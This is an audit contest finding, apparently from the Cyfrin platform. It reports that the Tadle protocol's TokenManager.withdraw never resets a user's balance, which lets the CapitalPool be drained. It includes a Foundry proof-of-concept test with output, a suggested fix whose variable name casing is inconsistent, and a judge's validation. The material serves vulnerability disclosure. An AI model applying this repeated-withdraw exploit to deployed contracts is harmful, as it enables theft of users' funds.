Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

Unupdated User Balance in The Withdraw Function Results In `CapitalPool` Contract To Be Drained

Summary

The withdraw function in the TokenManager.sol contract allows users to withdraw their balance from the protocol. It retrieves the user's claimable balance from the userTokenBalanceMap mapping based on the user's address, token address, and balance type. The function then handles the transfer of funds, either in native tokens or ERC20 tokens, depending on the token type.

Vulnerability Details

The withdraw function in the TokenManager.sol contract fails to update the user's balance in the userTokenBalanceMap after a successful withdrawal. This oversight allows an attacker to repeatedly call the withdraw function without reducing their balance, potentially draining all the funds from the protocol.

Code Snippet

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L137-L189

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@-> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

Impact

This vulnerability enables an attacker to continuously withdraw funds without limit, potentially leading to a complete draining of the capitalPool.sol contract. Such an exploit could result in significant financial losses for the protocol, harming both the users and the protocol's reputation.

Proof Of Concept

For testing the POC, run the following command:

forge test --mt test_FortisAudits_NativeTokens_CanBeDrained -vvvv
forge test --mt test_FortisAudits_ERC20Tokens_CanBeDrained -vvvv

Proof Of Code

Create a new test file and add this to that file.

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {PreMarketsTest} from "./PreMarkets.t.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {console2} from "forge-std/Test.sol";
contract TokenManagerWithdrawTest is PreMarketsTest {
address alice = address(0x123);
address bob = address(0x456);
function test_FortisAudits_NativeTokens_CanBeDrained() public {
uint256 amount = 100;
deal(address(preMarktes), amount * 2);
vm.startPrank(address(preMarktes));
tokenManager.tillIn{value: amount}(alice, address(weth9), amount, false);
tokenManager.addTokenBalance(TokenBalanceType.RemainingCash, alice, address(weth9), amount);
console2.log(
"Alices Balance Before Exploiting: ",
tokenManager.userTokenBalanceMap(alice, address(weth9), TokenBalanceType.RemainingCash)
);
tokenManager.tillIn{value: amount}(bob, address(weth9), amount, false);
tokenManager.addTokenBalance(TokenBalanceType.RemainingCash, bob, address(weth9), amount);
console2.log(
"Bobs Balance Before Exploiting: ",
tokenManager.userTokenBalanceMap(bob, address(weth9), TokenBalanceType.RemainingCash)
);
vm.stopPrank();
vm.prank(address(capitalPool));
capitalPool.approve(address(weth9));
vm.startPrank(alice);
tokenManager.withdraw(address(weth9), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(weth9), TokenBalanceType.RemainingCash);
vm.stopPrank();
console2.log("Alice Could Drain the Whole Capital Pool's Native ETH");
console2.log("Alices Balance After Exploiting: ", alice.balance);
console2.log("Bobs Balance After Exploiting: ", bob.balance);
}
function test_FortisAudits_ERC20Tokens_CanBeDrained() public {
uint256 amount = 100;
deal(address(mockUSDCToken), address(preMarktes), amount * 2);
deal(address(mockUSDCToken), address(alice), amount);
deal(address(mockUSDCToken), address(bob), amount);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(address(preMarktes));
tokenManager.tillIn(alice, address(mockUSDCToken), amount, false);
tokenManager.addTokenBalance(TokenBalanceType.RemainingCash, alice, address(mockUSDCToken), amount);
console2.log(
"Alices Balance Before Exploiting: ",
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
tokenManager.tillIn(bob, address(mockUSDCToken), amount, false);
tokenManager.addTokenBalance(TokenBalanceType.RemainingCash, bob, address(mockUSDCToken), amount);
vm.stopPrank();
console2.log(
"Bobs Balance Before Exploiting: ",
tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
vm.prank(address(capitalPool));
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(alice);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
console2.log("Alice Could Drain the Whole Capital Pool's ERC20 tokens");
console2.log("Alices Balance After Exploiting: ", mockUSDCToken.balanceOf(alice));
console2.log("Bobs Balance After Exploiting: ", mockUSDCToken.balanceOf(bob));
}
}

Here is output of the test

[PASS] test_FortisAudits_NativeTokens_CanBeDrained() (gas: 319388)
Logs:
Alices Balance Before Exploiting: 100
Bobs Balance Before Exploiting: 100
Alice Could Drain the Whole Capital Pool's Native ETH
Alices Balance After Exploiting: 200
Bobs Balance After Exploiting: 0
[PASS] test_FortisAudits_ERC20Tokens_CanBeDrained() (gas: 643169)
Logs:
Alices Balance Before Exploiting: 100
Bobs Balance Before Exploiting: 100
Alice Could Drain the Whole Capital Pool's ERC20 tokens
Alices Balance After Exploiting: 200
Bobs Balance After Exploiting: 0

Tools Used

  • Manual Review

  • Foundry

Recommendations

To mitigate this vulnerability, it is essential to update the user's balance in the userTokenBalanceMap after a successful withdrawal. This can be achieved by deducting the claimed amount from the user's balance .

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimableAmount;
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.